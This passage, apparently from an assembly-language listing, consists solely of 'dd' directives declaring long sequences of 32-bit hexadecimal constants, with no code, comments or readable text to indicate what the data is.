275BC871h, 50F24C36h dd 0A3004758h, 0B6EC4E01h, 21F864BCh, 9551E301h, 36157414h dd 543024EDh, 20B5001Eh, 9223318Bh, 0A94E266Eh, 25D030C7h dd 0F4C3CA35h, 442D00F2h, 0FB4CC2C8h, 0A9076B3Fh, 0BD1398Fh dd 0C363FA90h, 43110008h, 609E1E27h, 0E000F57Ah, 0B6682039h dd 282DC726h, 0A0D314h, 2F62E183h, 0D4090F24h, 4D8A9F00h dd 0A2DD18B4h, 0E5D603B5h, 1712A619h, 7D42AAD0h, 20495600h dd 0F224579Dh, 540A485Ah, 4080E516h, 0E304985Ah, 0FB0E0241h dd 4793322Fh, 0C5A0FE8Dh, 0F6D615h, 35915F6Ch, 69810AAEh dd 168EAA58h, 60C04C53h, 735EDED8h, 602FF22Dh, 98271852h dd 0D7747CF6h, 223A7B00h, 0EF7EB3Ch, 0FB1A03DBh, 0FC749C39h dd 9C6B6381h, 4B40E029h, 0F422DC0Ah, 0F7122D1Bh, 387CA020h dd 0A430B03Fh, 14496050h, 15D20CE6h, 0E9416C7Ah, 1C7CC470h dd 0D89EC500h, 1D97B11Bh, 0ECDA0083h, 0BAD3DFAFh, 0E000C937h dd 35856D0Eh, 7C7BA03Ch dd 0F7713E3h, 273C20F2h, 0F500DC66h, 0F1CDA1C0h, 4A8747E9h dd 0CA1041DEh, 23A8FCh, 9E8D316Ch, 5712002Ch, 99E3A173h dd 7DBA9F05h, 0F4877193h, 49B703Ch, 5AF4C536h, 2E28F008h dd 185E3260h, 629F31F9h, 7F6B223Fh, 0DC958F80h, 5E00F039h dd 675AA21Bh, 12270D07h, 0F05D960Ah, 7048E47Ch, 234D017Fh dd 0EFBD603Dh, 2EA1880h, 0E18A6184h, 0A11CFh, 1A371C11h dd 202100ACh, 3383094Ch, 290086B4h, 581B07CEh, 0D5246Bh dd 0D87A98ACh, 0C2CFFC0Dh, 50BE5601h, 6927999Eh, 18205371h dd 3B23E63Eh, 3B1540Ah, 0C0246168h, 96055DFCh, 16FDB57Ch dd 0C77ED0D0h, 2064063Eh, 287DA5DCh, 445D9400h, 0FC1AB574h dd 0C8195A4h, 0E873DE80h, 8A00E8C1h, 74D3317Bh, 786A4C9h dd 0D8213ECFh, 0E9B020F9h, 0CD74785Eh, 2CEC4102h, 0E0672839h dd 1D00E59h, 327B5F7Eh, 700C6E96h, 1C0F165Ah, 2429168h dd 60200F8Eh, 0E5BC02h, 0DD13B355h, 0BADF1C4Dh, 0F3467900h dd 9FB2CB23h, 2D721Ah, 6830B3DAh, 0B4294CC7h, 220F0100h dd 5C55467Bh, 159A00EAh, 4D505D13h, 52005A07h, 54CF2A35h dd 7505D7h, 0F8C2FC63h, 4B94BFF5h, 615F8D03h, 5854E8CDh dd 0BE00ABF9h, 212D3D3Ah, 1D65D665h, 58B04008h, 0BE0F0013h dd 3036A289h, 9600DAF2h, 6852C21Ah, 91BB84h, 0CE82BDDEh dd 583A0B5Eh, 80F16105h, 50D74904h, 93381F80h, 3C94031Ch dd 24FE5EB4h, 21130837h, 0C09330F0h, 41F2371Ah, 826A0379h dd 1BA50B8h, 0F402E990h, 61E90D43h, 0C804446h, 7CE35880h dd 0E5189049h, 0E820513Eh, 0C670E6EEh, 318B7698h, 75C4D707h dd 6291BF33h, 3A202FDAh, 529A001Fh, 82FD4BFCh, 94A94601h dd 81818CCh, 353D3BBEh, 104E4AC4h, 0B1BBBE27h, 30C3CEDDh dd 530070C0h, 0DB7DCB52h, 786146C2h, 0BEEC00C1h, 0D420E5D7h dd 8100E613h, 0EB883BDh, 0EDF5BCh, 0C36D3685h, 46FB3CA4h dd 64CDFEAh, 0CA04002Eh, 2A09C78Eh, 0F79B002Ch, 103821BFh dd 0AD014A3Ch, 9EB74F92h, 0D5EF845Ch, 9FAEA380h, 0E7DB5857h dd 77DFC500h, 0F4183119h, 0BA36BB00h, 9EE2320Eh, 928500ACh dd 62A8AE30h, 0D200CD98h, 0B912314Ah, 16AC9AFCh, 3C014BCh dd 0E01E3527h, 25EEDBD0h, 42C6360Fh, 405D0048h, 7BBA4918h dd 0B2D20CA0h, 0DCD0EADBh, 0C05D04A5h, 29C2715Fh, 3DD59A0Ah dd 0CEF81CD6h, 107D60DFh, 8CBC8E3Eh, 0D8E91900h, 0C2DA4F15h dd 0F447458h, 2C3ECED1h, 0D2838C4Eh, 28218DB5h, 6F9C0834h dd 8C2BCA88h, 2051B98Fh, 6CBB2284h, 3714F650h, 849CB644h dd 42723B22h, 4D711902h, 0DF088879h, 0A02E5544h, 8949CA50h dd 441D08E4h, 14A33A56h, 5022ADAAh, 68C291Ch, 2A45A629h dd 44174CD9h, 434A001Dh, 70469075h, 4B910032h, 449E5E9Bh dd 0AC2C7F3Bh, 9F008B4Ah, 493F8513h, 0D71C0005h, 0C0C10E1Dh dd 1900064Dh, 17102C38h, 0D5926Ah, 777B44E7h, 8CAA825Fh dd 0F34D600h, 96611E93h, 30E609A6h, 2B801754h, 572671BBh dd 0D997C07h, 846CD21Ch, 4F8E003Fh, 29816692h, 0B73E8A35h dd 51A4801Fh, 3C7E832h, 0E7960198h, 309B6373h, 27F7C031h dd 0F9C27007h, 0FAC0F2B7h, 15B02A2h, 0B9488EC8h, 0EB2BBCECh dd 7981FF0h, 3FBF0803h, 9FFB1B3Eh, 0EA37F0C0h, 9CF2691h dd 2CC83B5Ah, 60568D00h, 7FD1E322h, 0B125FA00h, 5094DF71h dd 83AD009Fh, 0F50891B7h, 48E4FB14h, 35CE40DFh, 5B9F84CEh dd 104D5091h, 7A6EC740h, 0A99B30B7h, 78820630h, 12C59200h dd 95D67B87h, 9C8850BFh, 0A5B239BEh, 73ABF980h, 0DD893A4Dh dd 5BED48h, 0A8BD1FB4h, 0B0C82D44h, 90B60076h, 0B9CDDEC0h dd 0FD005D95h, 0FB6F4F2Fh, 171BA5Ch, 69DB8EC3h, 0E843A3B1h dd 56004A6Bh, 0BEA8ECA4h, 0A0E08Bh, 0CD08D8FAh, 72373554h dd 0F363E11Ch, 7BBB8380h, 1F06F63Eh, 40159264h, 0B68252DAh dd 950532ACh, 0F039E28Bh, 960C1980h, 6EA8000Fh, 2DE43CC4h dd 380789B0h, 0ED48A63Fh, 5D620DD0h, 0B1F50C55h, 88A05061h dd 0D8B60600h, 0A39B4F0h, 163D008Fh, 0FB689FA2h, 9E006D76h dd 0D2B155F5h, 0A03022BEh, 188C41DCh, 11841F32h, 1500EB61h dd 49897E99h, 0E9F7DFh, 3DA4B8B0h, 155F8EFh, 910010F4h dd 11879760h, 4286E2h, 580CA272h, 6B7EBE0Dh, 20171500h dd 8449FD61h, 0C3C8003Bh, 0EA5067D4h, 0E5000DAAh, 0BBC6E216h dd 766555ABh, 0E30100F5h, 86021DC5h, 0C0033BDh, 31CB6A13h dd 0DF8BB9h, 18081A30h, 0F81F510Fh, 8A010C90h, 6D13482h dd 8BF041F1h, 0DF1E00DAh, 6CB8FA04h, 3B03838Ah, 7EC5D3D0h dd 90DC9808h, 14F005Dh, 0D9C60D02h, 51016BF9h, 94D2A457h dd 0C0206927h, 6AC1019Fh, 5D0150FBh, 0D5F440E8h, 0EF24D264h dd 3600A889h, 0DEDBB8Ch, 0DE3400FAh, 13713A8Ah, 8D001068h dd 0B91812EAh, 1CFEE0F8h, 0C0B8EE76h, 2E1E89B2h, 0D90016CCh dd 0D7BA5F48h, 9ADCABBh, 0B0A14544h, 36D8EC21h, 0F4FFF107h dd 29000A8Bh, 2A8DF7BAh, 92EAE708h, 3D7398h, 0A9693ECBh dd 0EFA16747h, 4657610Ch, 90E620F6h, 60CF2405h, 93C280A8h dd 0F3018949h, 0F8812826h, 5DADA807h, 0EE070A80h, 1827777Ah dd 0E97C180Ch, 0F21EA5A8h, 0F689E315h, 872021EBh, 8305E173h dd 0C0F428EBh, 314BA07Ch, 0A940C0C0h, 1216D726h, 2E95FAh dd 0E19A276Dh, 4A48C823h, 0A91E78A0h, 54836C78h, 1FE5862h dd 0F65C2670h, 31F28152h, 8020BB6Eh, 0AFE84CE0h, 50D28A45h dd 6498D3h, 31A87A5Fh, 8095F117h, 1AF6610Eh, 38DAA7AFh dd 0B4F54441h, 0AA93C4h, 3E8BFF11h, 71CDE795h, 44C21B1Fh dd 0ACD91F40h, 0E29496h, 43D7F9C4h, 0D3AE5FEBh, 6A648F00h dd 691431A6h, 0DB710062h, 9FB3B2A2h, 400094E6h, 6A840A38h dd 0AE4E90h, 0E1293323h, 728C81D5h, 340055F2h, 5BF5200Ah dd 0F0CB6153h, 0F2A378E4h, 78CC01D2h, 1A170DF2h, 0BEC27B0Fh dd 18F0E005h, 0CCD10035h, 59C1ABA4h, 0DF003715h, 0DD369EC2h dd 341850h, 7FCD2FD0h, 0D10CD4D3h, 16D7407h, 991E154h dd 6C2099D2h, 0E06F00BAh, 8B944456h, 0E128A22Ch, 804889F0h dd 292D24BCh, 73007028h, 0A0CC0B95h, 4694A6h, 0C116EDBCh dd 51FDF322h, 0F99FF700h, 0D7FB8523h, 0D8080013h, 6B48B35Eh dd 3E0BFF43h, 293DCEE3h, 518005E6h, 0C3835B80h, 4C810E76h dd 2EA08235h, 11007C6h, 0D7F58800h, 0A46C272Ah, 0BAE20132h dd 4B8AEEA0h, 0DCF9E585h, 4900572Ch, 86752EE9h, 0E79768h dd 5A7AC678h, 0C8ED6433h, 2900FD79h, 0B393EA1Ah, 73081A2h dd 3D116A57h, 1C878008h, 8300FDD3h, 0CAD46F15h, 7846288h dd 8B35F5B0h, 0C0BAF4EDh, 1DC17038h, 5607D205h, 90C0EBCBh dd 3AD4E46Fh, 9C843CCCh, 82932B2Ah, 10639550h, 88B45180h dd 6C398890h, 187DA670h, 0EDB8B580h, 78F385A7h, 93D0248h dd 965ACB62h, 2098CD41h, 99005FECh, 0AD7E4CA5h, 411477h dd 0EF1C0F72h, 0F0EB9605h, 2C8CA800h, 73784236h, 17D201ECh dd 43B114EAh, 88BAF074h, 92C9DD0Ah, 0BE008053h, 0C648ABD8h dd 1D3BFE78h, 0DD04A9h, 281BE15Ah, 0B60C8591h, 305E67FEh dd 0FBA207A3h, 123CF22h, 833A3FB1h, 0E5C2DCF8h, 0BBBD8D5h dd 1424F368h, 0C0EA04DEh, 80DCC6D6h, 94A99FC8h, 0AC705C03h dd 9E9568h, 0C20873D8h, 7616DFDh, 5038100h, 6E4F8B0h, 45918B7h dd 0C1D748DCh dd 0DD889B60h, 3D4F3563h, 0C35C2C34h, 1F160413h, 5F5A005Ch dd 0F484926Eh, 4130AC90h, 0E5854034h, 0F03F32C8h, 1D0083B0h dd 3B48D8E7h, 212E2D78h, 188D8080h, 0AD63A1EBh, 3A751100h dd 940187E2h, 1C8571A2h, 0C077BAC5h, 0E7DD3874h, 1500E107h dd 81A3328Bh, 0F43C96BEh, 0FF9A013Dh, 616B29DAh, 0C024D140h dd 0EF00C1FEh, 7BA24D54h, 2E1F3941h, 16D45375h, 4328008Dh dd 2ADB32CDh, 0DA230E0Bh, 588077EFh, 0E271A3A4h, 9F7BA10Bh dd 0C0B80E59h, 0B63B6C5Eh, 4013008Ch, 0A872B199h, 1E718AEBh dd 28370E07h, 0D0415FEDh, 0CAE42BC1h, 704B861h, 18D3388Eh dd 8FF2C0C3h, 6E1E8147h, 77400EC0h, 0CEA85F3Fh, 3C730085h dd 8A670628h, 0D26FEFCh, 0A100DC32h, 21EE29F1h, 84700B0h dd 384BF9BAh, 76009473h, 0BE7E8144h, 49CE8D0h, 0A671AE57h dd 1DC0027Ah, 15A43C4h, 0FC14FAB4h, 0F4BC0176h, 1977D4FFh dd 3FA0A300h, 45896E07h, 0FCDB28AEh, 1E9600DCh, 657BBCEFh dd 0FE780D86h, 79BAF107h, 9500854Eh, 5BBEE1Fh, 0C5221134h dd 61F2C0F2h, 60066B3h, 8DEDFBE9h, 56CB567h, 0BCAF0E68h dd 83BC026Fh, 5860FF35h, 0CF0EF32Dh, 8092C77Eh, 0B628978Eh dd 0E687061Fh, 115509A1h, 6DE2F10Fh, 0FAFFC045h, 3F84183Fh dd 29005963h, 4B3E8A38h, 78123B19h, 8800DDE6h, 0E070394Eh dd 0A3954C31h, 808CE71Fh, 7FACC967h, 0CD3CE5D6h, 169A1E23h dd 0A0D5B6CFh, 0E30E17C0h, 85B31FA5h, 0C086DF2Bh, 0F4FB5518h dd 0C6B0E2C8h, 0F6765D00h, 689295C6h, 0F5B21E5Bh, 97FB0023h dd 6B17C79Ah, 0C79DF24h, 0AAB4CF00h, 0A18E41h, 3D5DC0F6h dd 0F029CDFCh, 0BD160D1Ch, 0C8A708h, 7D20EF2Eh, 911EFF53h dd 9AC02B6Bh, 0E3BF1821h, 51500007h, 0D9E96949h, 790E401Dh dd 0EB173F66h, 0B7E600FAh, 6773B29h, 0FD67309Bh, 350EC81Ch dd 80956D3Ah, 1DE7BA0Bh, 7E2C0089h, 0DEB0A33h, 811E9405h dd 1BC77393h, 383C06D8h, 10DA1EAEh, 0C38A00F7h, 458D7B15h dd 0D73E9701h, 13DBAF95h, 7FE005D1h, 7BAA00ABh, 535E33F7h dd 800E3B8Ch, 6D452Eh, 0AC7F9979h, 6C6A3D31h, 0E8C54280h dd 0D837A94h, 4DCA2800h, 1141CE1Fh, 0F8DF0E01h, 7A19A04h dd 301C9B51h, 72008428h, 2E38F07Ch, 892ABEh, 0E2F67A44h dd 842DB11Ah, 0F37B7104h, 65805A11h, 585EB8h, 3DAE2539h dd 45705D76h, 0AC2B3500h, 9FA2147Bh, 7BCB0B8h, 0F83B4D66h dd 0D96143A0h, 0D46F57D1h, 27005174h, 252A1CDCh, 0DE8D75h dd 0A72FC078h, 8AA4B8Bh, 0B2EDB300h, 9FE59098h, 0E359006Dh dd 0EF1FE033h, 5A0ED741h, 8062FCA8h, 0B007148Ah, 975D0099h dd 1C37E5A5h, 0D875A0EAh, 1B34AF00h, 7B95E0D7h, 0C022509Ch dd 9BBF0028h, 0ED084992h, 900EF2EFh, 49046172h, 0C7807F5Ah dd 0F6506720h, 0F94FFF00h, 0B71AF3BDh, 169F3C14h, 1D558B00h dd 0EF2ACA59h, 0F832DB03h, 90A27E50h, 34062F3h, 0C7C090F1h dd 47BF82B0h, 6683802Ah, 200D35Ah, 6E2BE41Dh, 4FF781h dd 4785F6E7h, 9CF05AFh, 373E903h, 0A076CD42h, 7D64FCCh dd 0FA1BD1FBh, 0C6210FECh, 20827FF1h, 0A10EAC4Ch, 0A77AD06Bh dd 3D02E16h, 375C79Dh, 9B733DF5h, 33EF173Ah, 90BF85DEh dd 3060AB99h, 0AAA3221Fh, 0D4E3FB43h, 0DD8EA018h, 0B175FA2Dh dd 42B602DCh, 9C80F957h, 0CA35473Ah, 8B1FDA00h, 2C8A7CD0h dd 9C820F6Fh, 7705300Fh, 0A081C0F7h, 1B003AECh, 688DA755h dd 0ADA527h, 984F63B8h, 0BA7C4B13h, 28A62626h, 30FA8E07h dd 0EFDB7770h, 0B4CA03CCh, 5A965B1Fh, 7481C9DBh, 0C50DC02Dh dd 0EACD8813h, 95B8C000h, 0E6796BBBh, 8651007Ah, 0CA09AC4Dh dd 332CC8C6h, 0B00109Eh, 0D6299BB6h, 13E406h, 646E86A2h dd 0CC5A8CAEh, 62F28100h, 5563FA45h, 6C610032h, 0F004E2E7h dd 8001CBFBh, 531C4024h, 5CD4C720h, 4EAB0145h, 5E86A302h dd 549EC8F8h, 8EB24300h, 6B3A649h, 0C9EA00A1h, 8660680Eh dd 0B50781B4h, 0D6B6788Fh, 0DA51C490h, 0D43301AEh, 9F55684Bh dd 397FE06Ch, 0A6BB2903h, 0E0F21A06h, 90235FACh, 0A87BD4h dd 3A145C80h, 0A0A5C9D2h, 0E528E01h, 0A8C0EC05h, 2BF8FE4h dd 6483887Eh, 39E0435Ch, 924C2471h, 29BC00E8h, 0DFC807C0h dd 94461270h, 32D407BAh, 8C02C852h, 0C0E20C17h, 0AE5988h dd 16E02F44h, 0BDB66D31h, 6A42F00Bh, 2A9C0137h, 5C2C5BC8h dd 9C8F8207h, 0EA5574h, 9A4629E8h, 93F2C39h, 0D8DBA844h dd 700722EEh, 19737191h, 6D3098F0h, 379B0E8Eh, 0EC06B66h dd 1035E711h, 0F409E000h, 263F5807h, 0E47F7D86h, 14F1FD0h dd 5CFA979Fh, 0CCF840D8h, 0E16B7427h, 18ECAA30h, 38760EB2h dd 5A0068DBh, 3FFFFBB0h, 0DD05F1FCh, 718D9E73h, 2943C9C0h dd 392203DAh, 138BE5B2h, 3E534800h, 0E796DE37h, 0F8F60EFAh dd 0C09FAA23h, 14CEE0FDh, 0CC0018FBh, 293CF319h, 0F20918Dh dd 0B66E8833h, 868C1720h, 0C414F2DCh, 9F5F8Eh, 7A3E1511h dd 0F3C71871h, 2FC8F8h, 0DDE10BF6h, 856D939Dh, 395FA400h dd 122328B1h, 49301611h, 66EA001Dh, 792CECBCh, 5C1A020Fh dd 517CE03Bh, 0F219D98Bh, 3D8C0E31h, 0C320BCBAh, 0DF37C462h dd 6F268300h, 0EC14F84h, 61870744h, 50C0AE6Bh, 77736D74h dd 0E8B49E00h, 0D109B2F3h, 5917B57h, 0B7E5E027h, 0C3D80037h dd 483CC41Fh, 19BB0702h, 50E75EF4h, 4BB20040h, 0CABE988Dh dd 0B300A908h, 5C867743h, 846732h, 878C4CB2h, 4127EDABh dd 1147D25h, 85C8C9F4h, 0F3F0EC40h, 123F0299h, 72CFDDBAh dd 0F9B764E0h, 85086CEBh, 0E2000E29h, 688E8519h, 0EF83E0FDh dd 125FD3E8h, 0F3C07h, 43E0551Eh, 6E005E4Bh, 0B983331Bh dd 39BADE9h, 6D3B564Fh, 0ECE14AFAh, 2FC9C1B2h, 1F151B0h dd 0A1F33AB0h, 0CCFF12ABh, 4207B764h, 0FEC61B23h, 60A50CC0h dd 8673012Ah, 3E17D001h, 80686C4Eh, 0DDF9B8B1h, 477A0Bh dd 96FEF3Ah, 0FB15184Bh, 0ED283400h, 0A7B0C5CEh, 0E5DA2CF1h dd 30B12424h, 0BDD1F8F4h, 7B499100h, 47F7A64Fh, 6E4007A9h dd 80E16C65h, 90FF8451h, 0DA36C200h, 77D20173h, 9271021Fh dd 0CBF51753h, 0E0F163DDh, 0D40E49h, 27D15B04h, 0D8239D56h dd 23C59824h, 36DA800h, 9B31655h, 0BDC2FDCAh, 5F6FB88Fh dd 0C0454724h, 19348A9Ch, 7E18EB0Eh, 211A60B6h, 0F3F7FBE1h dd 7EE04830h, 0E493760Eh, 26AD9099h, 0B40608h, 0E088745Eh dd 9600070Dh, 2C6C36C5h, 0B3CF9C4h, 598C4914h, 8791C0B0h dd 5E7F4824h, 0CA044824h, 7B029729h, 6D60F7E8h, 7401B60Dh dd 0B7D92442h, 0E0402E32h, 1E28666Ch, 0FAA93C72h, 30147407h dd 19FB602Dh, 0EA02E448h, 51663B38h, 6963DFD1h, 4E90F087h dd 0CE0060ECh, 6F44EEA1h, 737D7F7h, 0A44391F4h, 9B3871A5h dd 0F11EE8A8h, 351D0400h, 0C20815C1h, 676B1209h, 328000EEh dd 3D1813CAh, 298A491Eh, 6F5C200h, 0E0B2DBh, 12CB3104h dd 0A06D2A07h, 94FFC000h, 49178568h, 0FE05264Ah, 93BF4088h dd 4F495B3Ah, 78370880h, 388240F2h, 9D5AB97Eh, 0E804440Ah dd 0D080E891h, 0BB5DB64Bh, 0D11F9F01h, 3F2F2B22h, 0F42E70h dd 0A4B425E5h, 6EED7D55h, 0DBE9C700h, 4F4A676Dh, 0EC1400EBh dd 6F9FB5ADh, 0E1D285DFh, 7813B000h, 31202B99h, 0EA180A69h dd 4E702089h, 355A8BF6h, 0D47EEC00h, 1397B25Dh, 4570113Fh dd 0C78912F4h, 3AB7726Dh dd 0D95FDC80h, 4500607Fh, 0E918033Fh, 7D5897E6h, 98364890h dd 0B4612700h, 0C940BE0Fh, 19C0E075h, 7E856A5Eh, 0FA69072Ah dd 5DE921h, 0F9B56DBCh, 0C100C6F0h, 8A108670h, 0B86BAB32h dd 7314023Ch, 8C0729C9h, 79005C78h, 0D9805D3h, 508F96BEh dd 391BA4EBh, 0F28183ACh, 7A3FF8C3h, 6B3180DCh, 94749BBBh dd 67CD007Eh, 307B1693h, 0C004D5Ch, 49850147h, 5069DFh dd 0FE9F7FBAh, 2181E10Dh, 0B77AFC18h, 0A7A260h, 2C3E1BA4h dd 7C076C6Dh, 9FFA5701h, 0F0BF0F4Fh, 7080CFC9h, 8AC2C1C7h dd 590036CCh, 8B7C76FBh, 126BC48h, 4C7F028Fh, 43E137CAh dd 0F9E955D4h, 0E9CE301Eh, 0AE79F307h, 5F34F7h, 4B54F2ECh dd 30EFEF8h, 3C96BFA4h, 0F9E879AFh, 0AD00BD51h, 0D075B821h dd 38F34FFFh, 0E8004AFEh, 7D9DFB16h, 58007ED3h, 193D3118h dd 138B322h, 0AE2EECDDh, 6CA8BEA4h, 875D0C7Ch, 9CE892h dd 0E3C86A72h, 7E5AAF9Bh, 0B9819900h, 824F03CFh, 0AC9806BBh dd 303891E4h, 2EB7F93Bh, 470324FDh, 0F9F5BFAEh, 0D3FBDC44h dd 0C3C3EF28h, 9D59C006h, 965F0068h, 492D3FC2h, 21007A99h dd 0CF0BEBE0h, 1DA3342Ch, 926D3D02h, 7BF8A085h, 0B0AB7F0Bh dd 0F44809Ch, 0BB55A8h, 0FA4F7E0Dh, 2C3C4640h, 0DE33F13Bh dd 0CD9B8060h, 2C0D5D12h, 0D68B1E00h, 981C9D2Ah, 2F032EEAh dd 81FA3D3h, 6A2298C8h, 9090F4h, 0CCDF0E26h, 0FD95B56Bh dd 0E10F0F78h, 75E69CAh, 0DE9026F0h, 2124CBh, 0F8839452h dd 0B5A3915Ch, 88BA3509h, 0BB68609Dh, 0E05E095Fh, 0C80560Bh dd 8DCE65D3h, 1E9388h, 0BB2FC7F3h, 3292E983h, 0A68A5900h dd 1FEF13E6h, 0DEF20B21h, 0B4C08B60h, 0B430A3CDh, 1850E0E9h dd 0D3DF00B3h, 0A540F06Bh, 0E1006D3Fh, 0DD4C1B3Ch, 5A1E28D4h dd 233C0729h, 0AE69907Fh, 0D15DBABh, 9B0C1D1h, 0A081A55Eh dd 0D907900Ch, 4D7488h, 0CA1183E7h, 0D714C6CFh, 0DE0D1E05h dd 0C400F7E3h, 648FC7AAh, 3D51004Ch, 5C430E1Bh, 21C9706Ah dd 0DF2000CEh, 0FB4BA76h, 0D8A7B529h, 84F36Ah, 37E9CCE4h dd 210EB3A5h, 0D426Eh, 12AD6174h, 0F0A003Bh, 3175464Ah dd 0BD008AB0h, 2C893A82h, 173392Dh, 5F0EB6Eh, 30698BB5h dd 7E1E20F4h, 4A068ABh, 70A69DB1h, 162E00F3h, 1EC2F4F7h dd 0BC15FDADh, 0C0F2D900h, 2D28FCB6h, 0F3F61700h, 0CC5A09FFh dd 5490079Bh, 10BDAB99h, 559580B1h, 43AD9F00h, 53E726E0h dd 7DEB8057h, 67491602h, 68048190h, 1D2EFCF0h, 0FDC801h dd 0B94E8924h, 0BE0039F9h, 752069AFh, 7C73964Ah, 0FB141206h dd 1F2C07F2h, 0C2C99086h, 0E207FE6Ch, 4B8977ADh, 45A5120h dd 0F5300C1h, 754C82DFh, 0FCB80B3Dh, 23FBC800h, 6B3CC512h dd 0EC200114h, 985C9583h, 0C846E677h, 88FB752Ah, 94406E5Bh dd 0B630C00Ah, 0DACA0929h, 0E8582F3Ch, 87CC571Eh, 53B9FC80h dd 287DE7A3h, 79C377Fh, 0AC44775Ah, 0ECA0099Dh, 694D6CF8h dd 0A1E8BD50h, 0C8E18C01h, 0F3D92EE0h, 0E2F0FCh, 64DCBE33h dd 1C3EAAA9h, 8175C338h, 50DE801Ah, 40FA598Fh, 1569C48h dd 0F9F17C66h, 0E09DDDCBh, 0F7007A60h, 0A338C2D2h, 7B6557h dd 0A4AC3A22h, 0CDE53054h, 0A4761D2Eh, 0CE3D5500h, 8C1FCFh dd 875E9669h, 3B3A64Dh, 4EF34630h, 95FCBF0Bh, 26C0180Eh dd 0C933C301h, 0B62F8012h, 2D386CC0h, 0C42700A5h, 0D7AB77BAh dd 4600DCC6h, 20CA9EE5h, 659576h, 0A51C6AE9h, 0F95962A4h dd 0F5538304h, 0E7C187A1h, 21F8E9F3h, 0EDC8004Ah, 1508ECDAh dd 0E316D4F9h, 5C58EED1h, 0CDB880h, 9195A7C3h, 8346F5EDh dd 505A621Ch, 70044513h, 0E0A8A947h, 6803945Ch, 0B0E02B6Dh dd 20258F81h, 0B402C653h, 76CC9CE6h, 8105664h, 0DB00AD7Fh dd 3EF6CDE7h, 0CF6E0207h, 0F2E37453h, 0A69E0840h, 51244001h dd 0A7662DDDh, 7224AE0h, 792CE64Fh, 2347909Eh, 2B00F98Eh dd 0CB20093Dh, 2D3A29h, 257221CCh, 333C2FC4h, 78D6F604h dd 24805483h, 95868E5Bh, 250E4CB0h, 9B661200h, 0DE34C3D3h dd 0FDD6A04Eh, 0DF2203CAh, 7427F50Ch, 2ECBC9EBh, 0CEC7E0C0h dd 664F3D1Fh, 0DCA814h, 180B6DD2h, 0A73BC0h, 194865DBh dd 71BA7FA1h, 0F783548h, 24920BE5h, 0C4D09DB7h, 0FFC2FC2h dd 1ED1A76h, 0E4242DFh, 0C4409F54h, 24011B31h, 0ECBC272Eh dd 1980D2BAh, 12E1EFD5h, 0CE0034F3h, 0F9EA5309h, 421D97Eh dd 2B29F1FDh, 7074ECF4h, 28CABB05h, 40F0150Fh, 489016h dd 3E12AF53h, 0ACA7703Bh, 70F648h, 0D5DFE4Fh, 976E652Eh dd 39203880h, 3F3BE811h, 0EFDD9FD6h, 0F24E00E2h, 0DBCE2760h dd 3900C823h, 684645EEh, 0C080D61Fh, 5DAE1C80h, 0F3000C01h dd 0A65107C3h, 0E4EC31h, 0A8652ABBh, 3C36EFBDh, 0EE47A000h dd 25E2B599h, 0B60F0764h, 80B17797h, 9BFEDAE3h, 0C6722900h dd 0C240926Eh, 680A0470h, 0C18A4A47h, 69123674h, 547202A0h dd 87511DEEh, 87FFB1C0h, 0E8D0A8B8h, 458E84h, 0F929BF2Bh dd 0EAAB4F55h, 6F90EAB0h, 14186439h, 7ECF02Ch, 9BF306EDh dd 0FC508FE0h, 35B93A14h, 9C3CE076h, 54FA0B9Ch, 9C30528Ch dd 0D221F100h, 0BD6B5996h, 3E1D03D9h, 0B5CB1B39h, 9CF20DD0h dd 3C916A01h, 2ADD4D58h, 0F388012Ah, 70F15FF7h, 2B3AEDD0h dd 0C99B0026h, 8EBA0811h, 1C222678h, 0AABE80ACh, 0EEE8911Ah dd 0A009B800h, 12A1C45Dh, 0BA49ACEh, 1E308C5Fh, 9F975081h dd 0F6058077h, 71F1E9D2h, 3F1500E1h, 442E650h, 6F05A2A4h dd 4D98B55Ah, 0FE0571C0h, 0B07050C3h, 117144F2h, 0B7A01770h dd 0AE00649Fh, 0C963575Ch, 9A85F07h, 0CD489D71h, 65A2CD80h dd 2C2CE14Fh, 6712DFC2h, 0C508B0h, 0E80DC898h, 0E90399A5h dd 6BC6FE00h, 29CA4C2h, 0C79B03C4h, 4F541D08h, 687F2CA8h dd 1449FC38h, 1F88DE4Dh, 7E8CE065h, 0B1B443h, 0CDFB16D2h dd 0BEAD010Dh, 0FFA48700h, 12C72C27h, 490CEAD5h, 5213802Ah dd 84600136h, 340D3189h, 98FCF9BCh, 22E6AD0Bh, 859C2018h dd 2611824Fh, 2CF8ABh, 5AD428D8h, 613A4356h, 4C9426ECh dd 0C23DBF07h, 338C5490h, 7AFF001Eh, 0EC78E16Ch, 6F064A32h dd 698AAE47h, 16F20280h, 76352C8Ch, 0CBB8B043h, 0C700E615h dd 0E0338241h, 0E21BF7h, 0B3937608h, 9A2AEF28h, 115538h dd 0A01435B1h, 13FEEA68h, 0F0AB0ED4h, 8B4F28D0h, 80EC7020h dd 71A10135h, 0F0C57B7Dh, 46D474CEh, 6901B2B0h, 1A2DE424h dd 708CF4B8h, 3C20D242h, 776A4000h, 0D11FB63Bh, 0DADC12BBh dd 5EA400D6h, 307844A9h, 4A111B0Fh, 7CE9C065h, 738715BBh dd 459600E7h, 22B10B2Dh, 0A200BC03h, 8DF860Ah, 2FF6B706h dd 88003274h, 76DC6EF8h, 0C3369000h, 2E6F0F12h, 78F700A3h dd 13DB8D95h, 5D484868h, 80380E3Ah, 0E797006Fh, 4653F9h dd 0A84AAE4Dh, 5D17DC27h, 4861AA17h, 0B73D0000h, 90D2CA1h dd 74216795h, 7249E0C0h, 0B81E4F07h, 5CD0391Fh, 949C8Ch dd 64C03AE1h, 50AB41BEh, 0CC12D00h, 1D5A4E21h, 4E37DBFh dd 0FEB29BB3h, 33EECE4h, 2445CF2Ch, 9362D0C5h, 63D100E9h dd 4F9A7BA3h, 0B6004241h, 24C97E73h, 30E73F3Dh, 9F80810h dd 74B0865Eh, 0FBC2CA1Fh, 81B1C503h, 0DD1AC111h, 0F826807Fh dd 0FAEAC92Ch, 5921F00h, 9C87C8BEh, 8F9D3050h, 9984CD60h dd 91ABB900h, 5312EB97h, 74BA5867h, 2A01DF00h, 0FBCA0BFAh dd 5AA33300h, 67D18570h dd 8F1C257Ah, 6C77E002h, 10214F8h, 638DBA91h, 108CC874h dd 0EE920257h, 68CC9506h, 4E807474h, 8E59DB98h, 0D69A00C6h dd 9CB222F2h, 0EB00C948h, 0A9696B9Dh, 26095FFBh, 9041EDh dd 91684ADCh, 7E488699h, 14E100B8h, 0F50917C5h, 0D2CB0025h dd 1248AA23h, 0A00047AFh, 0E52D34B9h, 256EA9B0h, 0C020A2F8h dd 2A37EE94h, 0EC83DA00h, 0D660D9B2h, 891600CBh, 26DE222Ch dd 3113E49Ch, 0B0A4F3FFh, 